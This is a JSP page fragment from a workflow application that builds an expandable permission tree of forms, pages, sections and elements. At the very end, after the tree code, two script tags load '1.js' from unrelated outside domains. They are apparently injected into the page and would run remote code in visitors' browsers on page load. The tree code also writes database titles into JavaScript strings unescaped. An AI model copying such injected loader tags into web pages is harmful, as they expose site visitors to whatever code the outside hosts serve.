
  <!-- Hierarchy Tree Begin -->
<%
  FormRecordDAObject formDAO = new FormRecordDAObject(sessionContainer, conn);
  FormPageDAObject formPageDAO = new FormPageDAObject(sessionContainer, conn);
  FormSectionDAObject formSecDAO = new FormSectionDAObject(sessionContainer, conn);
  FormElementDAObject formElementDAO = new FormElementDAObject(sessionContainer, conn);
  
  String lyrBgColor = "#FFFFFF";    
  
  Integer formRecordID = null;
  Integer formPageID = null;
  Integer formSectionID = null;
  String bindFormItemValue = maintWorkflowStepForm.getBindFormItemValue();
  boolean initStartstepBindForm = false;
  if(Utility.isEmpty(bindFormItemValue)){
    bindFormItemValue = "";
  }
  // If there are any records between start step and form items, set "initStartstepBindForm" true,
  // we will init it further.
  if (WorkflowStep.START_STEP_SEQ_NO.toString().equals(maintWorkflowStepForm.getStepSeq()) && Utility.isEmpty(bindFormItemValue)) {
  	initStartstepBindForm = true;
  }
  LogFactory.getLog(this.getClass()).debug("=====bindFormItemValue======"+bindFormItemValue);
  List categoryObjectList = formDAO.getWorkflowFormRecordByWorkflowID(workflowRecordID);
%>

<!-- ################################ Handle Forms, Sections & Elements Tree Begin ################################## -->  
<div id="NewObjectMenuLayer" style="left:0px;top:0px;width:130px;"></div>

<table width="100%" cellpadding="0" cellspacing="0" border="0" align="left">
  <tr>
  <td height="25" valign="bottom">
  <span id="treeBehaviorBar-Expend" style="float:right;padding-bottom:5px;display:block;"><a href="#" onclick="opChangeTreeBehavior(true)">Expand all</a></span>
  <span id="treeBehaviorBar-Collapse" style="float:right;padding-bottom:5px;display:none;"><a href="#" onclick="opChangeTreeBehavior(false)">Collapse all</a></span>
  </td>
  </tr>
  <tr>
    <td valign='top'>
  <script>
<!--
    webFXTreeConfig.rootIcon = "<html:img src='IconDMSTreeRoot.gif'  pathOnly='true'/>";
    webFXTreeConfig.openRootIcon = "<html:img src='IconDMSTreeRoot.gif'  pathOnly='true'/>";
    webFXTreeConfig.fileIcon   = "<html:img src='IconTreeFolderClosed.gif'  align='absmiddle' pathOnly='true'/>";
    webFXTreeConfig.isFormBingdingTree='true';
    //webFXTreeHandler.currentID = "24";    
    var formRecordRoot;
    var formPageRoot;
    var formSectionRoot;
    var formElementRoot;
    var formArr=new Array();
    var formIndex=0;    
    var pageArr=new Array();
    var pageIndex=0;    
    var secArr=new Array();
    var secIndex=0;    
    var elementArr=new Array();
    var elementIndex=0;    
    var rti;
    var tree = new WebFXTree('<bean:message key='workflow.label.submit_form'/>', '', '24');
    tree.setBehavior('explorer');

    <% String permission = WorkflowStep.FORM_PROCESS_PERMISSION_READ;    
    if (categoryObjectList != null && categoryObjectList.size() >0 ){ 
      for(int i=0; i<categoryObjectList.size(); i++) {
        permission = WorkflowStep.FORM_PROCESS_PERMISSION_READ;
        FormRecord formRecord = (FormRecord)categoryObjectList.get(i);
        formRecordID = formRecord.getID();          
          
        if(!Utility.isEmpty(bindFormItemValue) && bindFormItemValue.indexOf("F" + formRecordID + "|") > 0){
          permission = bindFormItemValue.substring(bindFormItemValue.indexOf("F" + formRecordID + "|")-1, bindFormItemValue.indexOf("F" + formRecordID + "|"));
        }        
    %>
    formArr[formIndex]="F<%=formRecordID%>_Y";
    formIndex++; 
    formRecordRoot = new WebFXTreeItem("<%=formRecord.getFormCode()+"(Ver."+formRecord.getFormVersion()+")-"+formRecord.getTitle()%>","return setPermission(true, \'F<%=formRecordID%>\')","F<%=formRecordID%>", null, null, null, "formRecordPermission", "<%=permission%>" , "IconFormRecord.gif","-");
    tree.add( formRecordRoot );
    
    
    <%  List pageList = formPageDAO.getPageListByFormRecordID(formRecordID);
        for(int l=0; l<pageList.size(); l++) {
          permission = WorkflowStep.FORM_PROCESS_PERMISSION_HIDE;
          FormPage formPage = (FormPage)pageList.get(l);
          formPageID = formPage.getID();  
          if(!Utility.isEmpty(bindFormItemValue) && bindFormItemValue.indexOf("P" + formPageID + "|") > 0){
            permission = bindFormItemValue.substring(bindFormItemValue.indexOf("P" + formPageID + "|")-1, bindFormItemValue.indexOf("P" + formPageID + "|"));
          }       
    %>       
    	pageArr[pageIndex]="P<%=formRecordID%>_<%=formPageID%>_Y";
    	pageIndex++;   
      formPageRoot = new WebFXTreeItem("<%=formPage.getTitle()%>", "return setPermission(true, \'P<%=formRecordID%>_<%=formPageID%>\')", "P<%=formRecordID%>_<%=formPageID%>", null, null, null, "formPagePermission", "<%=permission%>" , "IconFormPage.gif",getPermissionSelectBox('P<%=formRecordID%>_<%=formPageID%>','<%=permission%>')); 
      formRecordRoot.add(formPageRoot);
    
      <%  List formSectionList = formSecDAO.getListByFormPageID(formPageID);
          for(int j=0; j<formSectionList.size(); j++) {
            permission = WorkflowStep.FORM_PROCESS_PERMISSION_HIDE;
            
            FormSection formSection = (FormSection)formSectionList.get(j);            
            formSectionID = formSection.getID();
            if(!Utility.isEmpty(bindFormItemValue) && bindFormItemValue.indexOf("S" + formSectionID + "|") > 0){
              permission = bindFormItemValue.substring(bindFormItemValue.indexOf("S" + formSectionID + "|")-1, bindFormItemValue.indexOf("S" + formSectionID + "|"));
            } 
            
      %>
        secArr[secIndex]="S<%=formRecordID%>_<%=formPageID%>_<%=formSectionID%>_Y";
    	  secIndex++; 
        formSectionRoot = new WebFXTreeItem("<%=formSection.getTitle()%>", "return setPermission(true, \'S<%=formRecordID%>_<%=formPageID%>_<%=formSectionID%>\')", "S<%=formRecordID%>_<%=formPageID%>_<%=formSectionID%>", null, null, null, "formSectionPermission", "<%=permission%>" ,"IconFormSection.gif",getPermissionSelectBox("S<%=formRecordID%>_<%=formPageID%>_<%=formSectionID%>",'<%=permission%>') );
        formPageRoot.add( formSectionRoot );
      
      <%
            List formElementList = formElementDAO.getListByFormSectionID(formSectionID);
            for(int k=0; k<formElementList.size(); k++) {
              permission = WorkflowStep.FORM_PROCESS_PERMISSION_READ;
              FormElement formElement = (FormElement)formElementList.get(k);     
              if(!Utility.isEmpty(bindFormItemValue) && bindFormItemValue.indexOf("E" + formElement.getID() + "|") > 0){
                permission = bindFormItemValue.substring(bindFormItemValue.indexOf("E" + formElement.getID() + "|")-1, bindFormItemValue.indexOf("E" + formElement.getID() + "|"));
              }     
                  
      %> 
        elementArr[elementIndex]="E<%=formRecordID%>_<%=formPageID%>_<%=formSectionID%>_<%=formElement.getID()%>_Y";
        elementIndex++;
        formElementRoot = new WebFXTreeItem("<%=formElement.getFieldName()%>", "return setPermission(true, \'E<%=formRecordID%>_<%=formPageID%>_<%=formSectionID%>_<%=formElement.getID()%>\')", "E<%=formRecordID%>_<%=formPageID%>_<%=formSectionID%>_<%=formElement.getID()%>", null, null, null, "formElementPermission", "<%=permission%>" , "IconFormElements.gif",getPermissionSelectBox("E<%=formRecordID%>_<%=formPageID%>_<%=formSectionID%>_<%=formElement.getID()%>",'<%=permission%>'));
        formSectionRoot.add(formElementRoot);
            
      <%    }     
          }//end for Form Section
      
         }//end for Form Page
     
        }//end for Form Record
     
    }%>
  
    var divHeight = GetInnerHeight() - 165;
    if (CURRENT_PREFERENCE == "2") {
      divHeight -= 38;
    }
    
    document.write('<div id="treeFrame" class="wtreeContainer">');
    
    document.write(tree);
    
    document.write('</div>');
-->
</script>
	 
<script language='javascript'>
<!--
 function opChangeTreeBehavior(type){
    var expendPannel = document.getElementById("treeBehaviorBar-Expend");
    var collPannel   = document.getElementById("treeBehaviorBar-Collapse");
    
    if(type){//expend tree
        expendPannel.style.display="none";
        collPannel.style.display="block";
        formRecordRoot.expandAll();
    }else{//coll tree
        collPannel.style.display="none";
        expendPannel.style.display="block";
        formRecordRoot.collapseAll();
    }
 }
 
 formRecordRoot.collapseAll();
 <%-- Default permission set if we are going to new a step or it is necessary to init it for start step. --%>
 <%if (GlobalConstant.NAV_MODE_NEW.equals(maintWorkflowStepForm.getNavMode()) || initStartstepBindForm) {%> 
   //setPermissionAll('5');
 <%}%>
-->
</script>
    </td>    
  </tr>
  <tr>
   <td align="center"><html:img src="LayoutSpacer.gif" width="1" height="5"/></td>
   </tr>
</table>
<!-- ################################ Handle Forms, Sections & Elements Tree End ################################## -->  

<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>